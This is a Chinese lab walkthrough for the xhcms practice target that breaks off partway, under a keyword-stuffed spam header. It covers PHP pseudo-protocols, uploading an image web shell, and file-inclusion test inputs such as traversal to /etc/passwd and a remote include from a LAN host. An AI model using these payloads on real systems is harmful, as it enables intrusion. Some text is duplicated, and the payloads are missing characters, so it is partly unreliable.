网站开发教学视频教程,品牌建设策略,大型企业网络设计方案,网站样式侵权PHP支持的伪协议
file:// - 访问本地文件系统 http:// - 访问网址 ftp:// - 访问文件 php:// -访问各个输入/输出流 zlib:// -压缩流 data:// - 数据 glob:// -查找匹配的文件路径模式 phar:// - php归档 ssh2:// - Secure shell 2 rar:// - RAR ogg:// - 音频流 expect:// - …PHP支持的伪协议
file:// - 访问本地文件系统 http:// - 访问网址 ftp:// - 访问文件 php:// -访问各个输入/输出流 zlib:// -压缩流 data:// - 数据 glob:// -查找匹配的文件路径模式 phar:// - php归档 ssh2:// - Secure shell 2 rar:// - RAR ogg:// - 音频流 expect:// - 处理交互式的流
各协议的利用条件和方法 熊海靶场安装xhcms
安装环境
burp2024
phpstudy 5.3.29ntsapache
火狐浏览器谷歌浏览器不能找到文件包含漏洞1.创建网站 2.安装靶场 3.输入正确的数据库用户名和密码自动导入此时php的版本不要太高不能选择7.x以上的本吧。选择5.2~5.3的版本即可否则页面的内容展示不了。 4.在发布文章有图片的上传点开始爆破。 5.上传一个包含phpinfo的图片马返回文件上传后的路径/upload/watermark/20581706431088.gif 6.成功上传要解析图片马需要找到文件包含漏洞根据文件包含的特征匹配网站内的请求
文件包含漏洞的特征
?pagea.php
?homeb.html
?filecontent
检测方法
?file../../../../etc/passwd
?pagefile:///etc/passwd
?homemain.cgi
?pagehttp://192.168.189.78/1.txt
http://1.1.1.1/../../../../dir/file.txt在首页的美国时间找到的文件包含漏洞该路径包含了ustime.php文件。 7.拼接请求
